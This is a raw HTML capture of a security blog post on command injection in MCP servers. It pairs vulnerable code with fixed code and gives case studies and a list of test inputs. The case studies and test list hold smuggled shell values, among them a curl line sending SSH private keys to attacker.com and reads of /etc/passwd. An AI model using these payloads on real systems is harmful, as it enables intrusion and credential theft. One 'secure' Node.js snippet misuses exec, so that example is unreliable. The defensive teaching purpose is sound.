PageSourceSearch

https://mcpscan.ai/blog/command-injection

html mcpscan.ai collected 2026-10-05 12:14:48 UTC 67,950 bytes, 119 lines download raw bytes

1<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="preload" href="/_next/static/media/569ce4b8f30dc480-s.p.woff2" as="font" crossorigin="" type="font/woff2"/><link rel="preload" href="/_next/static/media/93f479601ee12b01-s.p.woff2" as="font" crossorigin="" type="font/woff2"/><link rel="stylesheet" href="/_next/static/css/1f7a1ac7a969fbf4.css?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-29ebadaebe2fcb3f.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs"/>
1<script src="/_next/static/chunks/4bd1b696-f4b60fa5dcf95b95.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
1<script src="/_next/static/chunks/684-63f094d18de363b4.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
1<script src="/_next/static/chunks/main-app-df55f4bdaf350cb2.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
1<script src="/_next/static/chunks/874-1180d4e4bbf09b75.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
1<script src="/_next/static/chunks/app/blog/command-injection/page-eda886ded513ea3a.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
1<meta name="next-size-adjust" content=""/><link rel="icon" href="/favicon.ico"/>
1<script type="text/javascript">(function(c,l,a,r,i,t,y){
2            c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};
3            t=l.createElement(r);t.async=1;t.src="https://www.clarity.ms/tag/"+i;
4            y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);
5          })(window, document, "clarity", "script", "sp71afrjjn");</script>
5<title>mcpscan.ai - MCP Security Scanner</title><meta name="description" content="Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe."/><meta property="og:title" content="mcpscan.ai - MCP Security Scanner"/><meta property="og:description" content="Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe."/><meta property="og:url" content="https://mcpscan.ai"/><meta property="og:site_name" content="mcpscan.ai"/><meta property="og:image" content="https://mcpscan.ai/og-image.png"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:creator" content="@mcpscanai"/><meta name="twitter:title" content="mcpscan.ai - MCP Security Scanner"/><meta name="twitter:description" content="Your security scanner for Model Context Protocol (MCP) servers. Scan for common vulnerabilities and ensure your data and agents are safe."/><meta name="twitter:image" content="https://mcpscan.ai/twitter-image.png"/><link rel="icon" href="/favicon.ico"/>
5<script>document.querySelectorAll('body link[rel="icon"], body link[rel="apple-touch-icon"]').forEach(el => document.head.appendChild(el))</script>
5<script src="/_next/static/chunks/polyfills-42372ed130431b0a.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" noModule=""></script>
5</head><body class="__variable_5cfdac __variable_9a8899 antialiased"><div class="min-h-screen bg-black text-gray-300 font-mono antialiased" style="background-image:linear-gradient(rgba(0, 0, 0, 0.97), rgba(0, 0, 0, 0.97)), url(&quot;data:image/svg+xml,%3Csvg xmlns=&#x27;http://www.w3.org/2000/svg&#x27; width=&#x27;40&#x27; height=&#x27;40&#x27; viewBox=&#x27;0 0 40 40&#x27;%3E%3Cg fill-rule=&#x27;evenodd&#x27;%3E%3Cg fill=&#x27;%2300ff99&#x27; fill-opacity=&#x27;0.05&#x27;%3E%3Cpath d=&#x27;M0 38.59l2.83-2.83 1.41 1.41L1.41 40H0v-1.41zM0 20.83l2.83-2.83 1.41 1.41L1.41 22.24H0v-1.41zM0 3.07l2.83-2.83 1.41 1.41L1.41 4.48H0V3.07zM17.76 40l2.83-2.83 1.41 1.41L19.17 40h-1.41zM35.52 40l2.83-2.83 1.41 1.41L36.93 40h-1.41zM20.83 18.17l2.83-2.83 1.41 1.41-2.83 2.83-1.41-1.41zM3.07 0l2.83 2.83-1.41 1.41L1.66 1.41 3.07 0zm17.76 0l2.83 2.83-1.41 1.41-2.83-2.83L20.83 0zM38.59 0l1.41 1.41-2.83 2.83-1.41-1.41L38.59 0zM20.83 35.52l2.83 2.83-1.41 1.41-2.83-2.83 1.41-1.41zM3.07 17.76l2.83 2.83-1.41 1.41-2.83-2.83 1.41-1.41zM38.59 17.76l1.41 1.41-2.83 2.83-1.41-1.41 2.83-2.83z&#x27;/%3E%3C/g%3E%3C/g%3E%3C/svg%3E&quot;)"><header class="border-b border-green-500/20"><div class="container mx-auto px-6 py-4"><div class="flex justify-between items-center"><a class="text-xl font-bold text-white no-underline" href="/">mcpscan<span class="text-green-400">.ai</span></a><nav><ul class="flex space-x-6"><li><a class="text-gray-400 hover:text-white no-underline" href="/#scan-input-section">Scan</a></li><li><a class="text-gray-400 hover:text-white no-underline" href="/#understanding-section">Learn</a></li><li><a class="text-green-400 hover:text-green-300 no-underline" href="/">Blog</a></li></ul></nav></div></div></header><main class="container mx-auto px-6 py-12"><div class="max-w-3xl mx-auto"><div class="mb-10 text-center"><div class="inline-block px-3 py-1 bg-green-500/10 border border-green-500/30 rounded-md text-green-400 text-sm mb-4">SECURITY FOCUS</div><h1 class="text-3xl md:text-4xl font-bold mb-6 text-white">Preventing Command Injection in MCP Servers</h1><div class="flex justify-center items-center text-gray-400 text-sm"><span>April 14, 2025</span><span class="mx-2">•</span><span>10 min read</span><span class="mx-2">•</span><span>By Security Research Team</span></div></div><div class="prose prose-invert prose-green max-w-none"><div class="flex items-start space-x-4 mb-6 bg-gray-900/60 p-5 rounded-lg border border-green-500/20"><div class="text-green-400 mt-1"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-6 h-6"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke-linecap="round" stroke-linejoin="round"></path><path d="M12 8v4M12 16h.01" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><div><h3 class="text-lg font-semibold text-white mt-0">Executive Summary</h3><p class="text-gray-300">Command injection remains one of the most critical vulnerabilities in MCP server implementations, especially those that execute system commands as part of their functionality. Our scan of 50+ public MCP servers revealed that 23% contained some form of command injection vulnerability, primarily due to improper string concatenation when building shell commands.</p></div></div><h2 class="text-2xl font-bold text-white mt-10 mb-4">Understanding Command Injection in MCP Servers</h2><p>Command injection vulnerabilities occur when user-controlled input is incorporated into a system command without proper sanitization or validation. In the context of Model Context Protocol (MCP) servers, this vulnerability takes on a unique dimension due to the interaction between large language models (LLMs) and external tools.</p><p>MCP servers often expose functionality that executes commands on the host system - from simple file operations to complex data processing tasks. When these operations involve string concatenation to build shell commands using data from tool parameters, they create a potential attack vector.</p><div class="bg-gray-900/60 p-5 rounded-lg border border-yellow-500/20 my-6"><div class="flex items-center mb-3"><span class="text-yellow-400 mr-2"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M12 9v3.75m-9.303 3.376c-.866 1.5.217 3.374 1.948 3.374h14.71c1.73 0 2.813-1.874 1.948-3.374L13.949 3.378c-.866-1.5-3.032-1.5-3.898 0L2.697 16.126z" stroke-linecap="round" stroke-linejoin="round"></path><path d="M12 15.75h.007v.008H12v-.008z" stroke-linecap="round" stroke-linejoin="round"></path></svg></span><h4 class="text-lg font-semibold text-white mt-0">The Unique Risk in MCP</h4></div><p class="text-gray-300 my-0">The command injection risk in MCP is amplified compared to traditional web applications because:</p><ul class="list-disc pl-6 text-gray-300 mt-2"><li>MCP servers trust LLMs to properly validate inputs, but LLMs may not understand security implications.</li><li>
5Users review tool calls but may not recognize subtle injection patterns.</li><li>Tool descriptions don&#x27;t highlight security boundaries or risks.</li><li>MCP servers typically run with the permissions of the user who launched them, which may be extensive.</li></ul></div><h2 class="text-2xl font-bold text-white mt-10 mb-4">Vulnerable Patterns We Found</h2><p>Our extensive scanning of public MCP servers revealed several common vulnerable patterns. Here are the most prevalent ones:</p><h3 class="text-xl font-semibold text-white mt-6 mb-3">1. Direct String Concatenation</h3><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-6"><div class="bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70"><p class="text-red-400 font-mono mb-2 text-sm">❌ VULNERABLE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python Example
6user_input = tool_input[&quot;filename&quot;]
7cmd = &quot;convert &quot; + user_input + &quot; output.png&quot;
8os.system(cmd)  // VULNERABLE
9
10// Node.js Example
11const userInput = toolInput.query;
12const cmd = `grep ${userInput} data.txt`;
13exec(cmd, (error, stdout) =&gt; {
14  return stdout;
15});</code></pre></div><div class="bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70"><p class="text-green-400 font-mono mb-2 text-sm">✅ SECURE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python Example
16user_input = tool_input[&quot;filename&quot;]
17subprocess.run([&quot;convert&quot;, user_input, 
18                &quot;output.png&quot;], check=True)
19
20// Node.js Example
21const userInput = toolInput.query;
22exec(&quot;grep&quot;, [userInput, &quot;data.txt&quot;], 
23     (error, stdout) =&gt; {
24  return stdout;
25});</code></pre></div></div><p>This is the most common vulnerability we found, present in 67% of vulnerable MCP servers. The issue: using string concatenation or template literals to construct command strings passed to shell interpreters.</p><h3 class="text-xl font-semibold text-white mt-8 mb-3">2. Shell Mode in Subprocess Functions</h3><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-6"><div class="bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70"><p class="text-red-400 font-mono mb-2 text-sm">❌ VULNERABLE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python subprocess with shell=True
26user_input = tool_input[&quot;query&quot;]
27subprocess.run(f&quot;grep {user_input} logs.txt&quot;,
28              shell=True)  // VULNERABLE
29
30// Node.js exec with shell
31const userInput = toolInput.term;
32childProcess.execSync(
33  `find . -name &quot;${userInput}&quot;`, 
34  {shell: true}
35);</code></pre></div><div class="bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70"><p class="text-green-400 font-mono mb-2 text-sm">✅ SECURE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python subprocess without shell
36user_input = tool_input[&quot;query&quot;]
37subprocess.run([&quot;grep&quot;, user_input, 
38               &quot;logs.txt&quot;])
39
40// Node.js exec without shell
41const userInput = toolInput.term;
42childProcess.execFileSync(&quot;find&quot;, 
43  [&quot;.&quot;, &quot;-name&quot;, userInput]
44);</code></pre></div></div><p>We found that 29% of vulnerable servers were using subprocess functions with shell mode enabled. This is particularly problematic as it interprets special shell characters like <code>;</code>, <code>|</code>, <code>&amp;</code>, and <code>$()</code>.</p><h3 class="text-xl font-semibold text-white mt-8 mb-3">3. Insufficient Sanitization</h3><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-6"><div class="bg-red-950/30 p-4 rounded-md border-l-2 border-red-500/70"><p class="text-red-400 font-mono mb-2 text-sm">❌ VULNERABLE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python with insufficient sanitization
45user_input = tool_input[&quot;command&quot;]
46user_input = user_input.replace(&quot;;&quot;, &quot;&quot;)
47// Only removes first semicolon
48os.system(&quot;process &quot; + user_input)
49
50// Node.js with regex but missing characters
51const userInput = toolInput.cmd;
52userInput = userInput.replace(/[;&amp;|]/g, &quot;&quot;);
53// Missing backticks, $(), etc.
54exec(`analyze ${userInput}`);</code></pre></div><div class="bg-green-950/30 p-4 rounded-md border-l-2 border-green-500/70"><p class="text-green-400 font-mono mb-2 text-sm">✅ SECURE</p><pre class="overflow-x-auto text-gray-300 text-sm"><code>// Python with proper parameter passing
55user_input = tool_input[&quot;command&quot;]
56// No sanitization needed when using arrays
57subprocess.run([&quot;process&quot;, user_input])
58
59// Node.js with strict allowlist
60const userInput = toolInput.cmd;
61if (!/^[a-zA-Z0-9_\-\.]+$/.test(userInput)) {
62  throw new Error(&quot;Invalid characters&quot;);
63}
64exec(`analyze ${userInput}`);</code></pre></div></div><p>A troubling 18% of vulnerable servers attempted sanitization but did it incorrectly - often by only removing specific characters once, not accounting for all shell metacharacters, or using incorrect replacement patterns.</p><h2 class="text-2xl font-bold text-white mt-10 mb-4">Real-World Vulnerability Examples</h2><p>During our scanning process, we identified several real-world examples of command injection vulnerabilities in MCP servers. Here are two case studies (with sensitive details anonymized):</p><div class="bg-gray-900/60 p-5 rounded-lg border border-red-500/20 my-6"><h4 class="text-lg font-semibold text-white">Case Study 1: Media Processing MCP Server</h4><p class="text-gray-300">A media processing MCP server offered tools for image conversion, video processing, and audio extraction. The <code>convert_image</code> tool allowed specifying an input format and output format. The vulnerable implementation:</p><pre class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3"><code class="text-gray-300">def convert_image(input_file, output_format):
65    // User-controlled output_format injected into command
66    cmd = f&quot;convert {input_file} {output_format}&quot;
67    os.system(cmd)
68    return {&quot;status&quot;: &quot;success&quot;}</code></pre><p class="text-gray-300">This implementation allowed an attacker to inject commands through the output_format parameter. For example, providing <code>output.png; rm -rf /important</code> would delete files after the conversion.</p><p class="text-gray-300"><strong>Fix:</strong> The implementation was updated to use subprocess with argument arrays and validate the output format against an allowlist.</p></div><div class="bg-gray-900/60 p-5 rounded-lg border border-red-500/20 my-6"><h4 class="text-lg font-semibold text-white">Case Study 2: Development Utilities MCP Server</h4><p class="text-gray-300">A developer-focused MCP server provided tools like code linting, formatting, and testing. One tool allowed developers to run Git operations:</p><pre class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3"><code class="text-gray-300">async function gitOperation(repo, operation, branch) {
69    // User-controlled branch parameter injected into command
70    const cmd = `git -C ${repo} ${operation} origin/${branch}`;
71    return await execPromise(cmd);
72}</code></pre><p class="text-gray-300">An attacker could exploit this by providing a branch name like <code>main &amp;&amp; curl -X POST --data &quot;$(cat ~/.ssh/id_rsa)&quot; https://attacker.com</code>, which would execute the Git command and then exfiltrate SSH private keys.</p><p class="text-gray-300"><strong>Fix:</strong> The implementation was updated to use execFile with an array of arguments and implement strict validation on repository, operation, and branch parameters.</p></div><h2 class="text-2xl font-bold text-white mt-10 mb-4">
72Comprehensive Prevention Guide</h2><div class="my-6"><h3 class="text-xl font-semibold text-white mb-4">1. Never Use String Concatenation for Commands</h3><div class="flex items-start space-x-3 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Use array-based command execution</strong> - All major programming languages provide mechanisms to execute commands with arguments passed as arrays or lists, preventing shell interpretation of special characters:</p></div><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8"><div class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm"><p class="text-gray-400 font-mono mb-1">Python:</p><code class="text-gray-300">subprocess.run([&quot;command&quot;, &quot;arg1&quot;, &quot;arg2&quot;])</code></div><div class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm"><p class="text-gray-400 font-mono mb-1">Node.js:</p><code class="text-gray-300">child_process.execFile(&quot;command&quot;, [&quot;arg1&quot;, &quot;arg2&quot;])</code></div><div class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm"><p class="text-gray-400 font-mono mb-1">Go:</p><code class="text-gray-300">exec.Command(&quot;command&quot;, &quot;arg1&quot;, &quot;arg2&quot;)</code></div><div class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm"><p class="text-gray-400 font-mono mb-1">Ruby:</p><code class="text-gray-300">system(&quot;command&quot;, &quot;arg1&quot;, &quot;arg2&quot;)</code></div></div><h3 class="text-xl font-semibold text-white mb-4 mt-8">2. Implement Proper Input Validation</h3><div class="flex items-start space-x-3 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Use allowlists instead of denylists</strong> - Define what patterns are acceptable rather than trying to block malicious patterns:</p></div><pre class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3 ml-8"><code class="text-gray-300">// JavaScript example
73function validateFilename(filename) {
74  // Only allow alphanumeric, underscore, dash, and extension
75  const validPattern = /^[a-zA-Z0-9_-]+\.[a-zA-Z0-9]+$/;
76  if (!validPattern.test(filename)) {
77    throw new Error(&quot;Invalid filename format&quot;);
78  }
79  return filename;
80}</code></pre><div class="flex items-start space-x-3 mt-6 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Validate against expected type and range</strong> - Ensure inputs match the expected data type and constraints:</p></div><pre class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3 ml-8"><code class="text-gray-300">// Python example
81def validate_integer_range(value, min_val, max_val):
82    try:
83        num = int(value)
84        if min_val &lt;= num &lt;= max_val:
85            return num
86        else:
87            raise ValueError(f&quot;Value must be between {min_val} and {max_val}&quot;)
88    except ValueError:
89        raise ValueError(&quot;Value must be an integer&quot;)</code></pre><h3 class="text-xl font-semibold text-white mb-4 mt-8">3. Use Built-in Libraries Instead of Shell Commands</h3><div class="flex items-start space-x-3 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Replace shell commands with library functions</strong> - Most operations can be performed using built-in libraries:</p></div><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8"><div class="bg-red-950/30 p-3 rounded mb-3 text-sm overflow-x-auto border-l-2 border-red-500/70"><p class="text-red-400 font-mono mb-1">❌ VULNERABLE</p><code class="text-gray-300">// Instead of:
90os.system(f&quot;mkdir -p {directory}&quot;)
91
92// Or:
93exec(`cat ${filename}`, (err, output) =&gt; {
94  return output;
95});</code></div><div class="bg-green-950/30 p-3 rounded text-sm overflow-x-auto border-l-2 border-green-500/70"><p class="text-green-400 font-mono mb-1">✅ SECURE</p><code class="text-gray-300">// Use:
96os.makedirs(directory, exist_ok=True)
97
98// And:
99fs.readFile(filename, &#x27;utf8&#x27;, (err, data) =&gt; {
100  return data;
101});</code></div></div><h3 class="text-xl font-semibold text-white mb-4 mt-8">4. Apply the Principle of Least Privilege</h3><div class="flex items-start space-x-3 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Run your MCP server with minimal permissions</strong> - Configure the server to run with only the permissions it needs:</p></div><ul class="list-disc pl-12 text-gray-300"><li>Use dedicated service accounts with restricted permissions</li><li>Apply filesystem permissions to limit access to sensitive files</li><li>Use containerization technologies like Docker with appropriate security constraints</li><li>Consider using system capabilities (on Linux) to grant specific privileges without full root access</li></ul><h3 class="text-xl font-semibold text-white mb-4 mt-8">5. Implement Proper Error Handling</h3><div class="flex items-start space-x-3 mb-3"><div class="text-green-400 mt-0.5"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-5 h-5"><path d="M5 13l4 4L19 7" stroke-linecap="round" stroke-linejoin="round"></path></svg></div><p class="text-gray-300 my-0"><strong>Don&#x27;t reveal sensitive information in error messages</strong> - Ensure that error messages don&#x27;t expose system details or command outputs that might help attackers:</p></div><div class="grid grid-cols-1 md:grid-cols-2 gap-4 my-4 ml-8"><div class="bg-red-950/30 p-3 rounded mb-3 text-sm overflow-x-auto border-l-2 border-red-500/70"><p class="text-red-400 font-mono mb-1">❌ VULNERABLE</p><code class="text-gray-300">try:
102    result = subprocess.run(cmd, shell=True, 
103                           check=True, 
104                           capture_output=True)
105except subprocess.CalledProcessError as e:
106    return {&quot;error&quot;: str(e.stderr)}  // Leaks details</code></div><div class="bg-green-950/30 p-3 rounded text-sm overflow-x-auto border-l-2 border-green-500/70"><p class="text-green-400 font-mono mb-1">✅ SECURE</p><code class="text-gray-300">try:
107    result = subprocess.run(cmd_args, 
108                           check=True, 
109                           capture_output=True)
110except subprocess.CalledProcessError:
111    logging.error(&quot;Command failed&quot;, exc_info=True)
112    return {&quot;error&quot;: &quot;Operation failed&quot;}</code></div></div></div><h2 class="text-2xl font-bold text-white mt-10 mb-4">Testing for Command Injection</h2><p>Testing is crucial for identifying command injection vulnerabilities before they reach production. We recommend implementing these testing practices:</p><ol class="list-decimal pl-6 text-gray-300"><li class="mb-3"><strong>Code Review</strong> - Establish mandatory code reviews focusing on how commands are constructed and executed.</li><li class="mb-3"><strong>Static Analysis</strong> - Use static analysis tools configured to detect command injection patterns. Configure tools like Semgrep, Co
112deQL, or language-specific analyzers.</li><li class="mb-3"><strong>Penetration Testing</strong> - Conduct regular penetration testing on your MCP servers with a focus on command injection. Try inputs with special characters like <code>;</code>, <code>|</code>, <code>&amp;</code>, <code>$()</code>, and <code>&#x27;&#x27;</code> to see if they&#x27;re properly handled.</li><li class="mb-3"><strong>Automated Security Testing</strong> - Integrate security testing into your CI/CD pipeline to catch vulnerabilities before deployment.</li><li class="mb-3"><strong>MCP-Specific Testing</strong> - Use MCPScan.ai to regularly scan your servers for command injection vulnerabilities specifically in the context of MCP tool implementations.</li></ol><div class="bg-gray-900/60 p-5 rounded-lg border border-blue-500/20 my-6"><div class="flex items-center mb-3"><span class="text-blue-400 mr-2"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="w-6 h-6"><path d="M8 9l3 3-3 3M13 15h3" stroke-linecap="round" stroke-linejoin="round"></path><rect x="3" y="3" width="18" height="18" rx="2" stroke-linecap="round" stroke-linejoin="round"></rect></svg></span><h3 class="text-lg font-semibold text-white mt-0">Command Injection Test Cases</h3></div><p class="text-gray-300">Here are some test values to try with your MCP tools that might process or execute commands:</p><pre class="bg-gray-900/80 p-3 rounded overflow-x-auto text-sm my-3"><code class="text-gray-300">input_file.txt; ls -la
113input_file.txt &amp;&amp; echo &quot;VULNERABLE&quot;
114input_file.txt || curl http://attacker.com
115input_file.txt `id`
116input_file.txt $(cat /etc/passwd)
117input_file.txt &gt; /tmp/test
118input_file.txt | grep password
119*;touch /tmp/pwned</code></pre><p class="text-gray-300">If any of these inputs cause unexpected command execution, your MCP server is vulnerable to command injection.</p></div><h2 class="text-2xl font-bold text-white mt-10 mb-4">Conclusion</h2><p>Command injection vulnerabilities in MCP servers represent a significant security risk, especially as these servers often operate with elevated permissions and process potentially untrusted inputs coming through LLM tool usage. Our research shows that nearly a quarter of publicly accessible MCP servers contain some form of command injection vulnerability.</p><p>By following the best practices outlined in this article—using array-based command execution, implementing strict input validation, replacing shell commands with library functions, applying the principle of least privilege, and implementing proper error handling—you can significantly reduce the risk of command injection in your MCP server implementations.</p><p>Regular security scanning with MCPScan.ai can help identify vulnerabilities in your MCP servers before they can be exploited, ensuring that your AI systems operate securely and responsibly.</p><div class="bg-gray-900/60 p-5 rounded-lg border border-green-500/20 my-8"><h3 class="text-lg font-semibold text-white">Ready to secure your MCP servers?</h3><p class="text-gray-300 mb-4">
119Use MCPScan.ai to check for command injection and other vulnerabilities in your Model Context Protocol implementations.</p><a class="inline-block px-6 py-3 bg-green-500/90 text-white font-medium rounded hover:bg-green-600/90 focus:outline-none transition-all shadow-lg shadow-green-800/20 no-underline" href="/#scan-input-section">Scan Your MCP Server Now</a></div></div></div></main><footer class="py-6 border-t border-green-500/20 text-center text-xs text-gray-500"><div class="container mx-auto px-6">© <!-- -->2025<!-- --> mcpscan<span class="text-green-400">.ai</span> All rights reserved.</div></footer></div><!--$--><!--/$--><!--$--><!--/$-->
119<script src="/_next/static/chunks/webpack-29ebadaebe2fcb3f.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs" async=""></script>
119<script>(self.__next_f=self.__next_f||[]).push([0])</script>
119<script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[87555,[],\"\"]\n3:I[31295,[],\"\"]\n4:I[6874,[\"874\",\"static/chunks/874-1180d4e4bbf09b75.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs\",\"33\",\"static/chunks/app/blog/command-injection/page-eda886ded513ea3a.js?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs\"],\"\"]\n5:I[59665,[],\"MetadataBoundary\"]\n7:I[59665,[],\"OutletBoundary\"]\na:I[74911,[],\"AsyncMetadataOutlet\"]\nc:I[59665,[],\"ViewportBoundary\"]\ne:I[26614,[],\"\"]\n:HL[\"/_next/static/media/569ce4b8f30dc480-s.p.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/media/93f479601ee12b01-s.p.woff2\",\"font\",{\"crossOrigin\":\"\",\"type\":\"font/woff2\"}]\n:HL[\"/_next/static/css/1f7a1ac7a969fbf4.css?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs\",\"style\"]\n"])</script>
119<script>self.__next_f.push([1,"0:{\"P\":null,\"b\":\"Wceb_hYF9gKiy3WVWVX_A\",\"p\":\"\",\"c\":[\"\",\"blog\",\"command-injection\"],\"i\":false,\"f\":[[[\"\",{\"children\":[\"blog\",{\"children\":[\"command-injection\",{\"children\":[\"__PAGE__\",{}]}]}]},\"$undefined\",\"$undefined\",true],[\"\",[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/css/1f7a1ac7a969fbf4.css?dpl=dpl_DT1dQtqiqDCMYKbC3meMttfdypGs\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}]],[\"$\",\"html\",null,{\"lang\":\"en\",\"children\":[[\"$\",\"head\",null,{\"children\":[[\"$\",\"link\",null,{\"rel\":\"icon\",\"href\":\"/favicon.ico\"}],[\"$\",\"script\",null,{\"type\":\"text/javascript\",\"children\":\"(function(c,l,a,r,i,t,y){\\n            c[a]=c[a]||function(){(c[a].q=c[a].q||[]).push(arguments)};\\n            t=l.createElement(r);t.async=1;t.src=\\\"https://www.clarity.ms/tag/\\\"+i;\\n            y=l.getElementsByTagName(r)[0];y.parentNode.insertBefore(t,y);\\n          })(window, document, \\\"clarity\\\", \\\"script\\\", \\\"sp71afrjjn\\\");\"}]]}],[\"$\",\"body\",null,{\"className\":\"__variable_5cfdac __variable_9a8899 antialiased\",\"children\":[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be 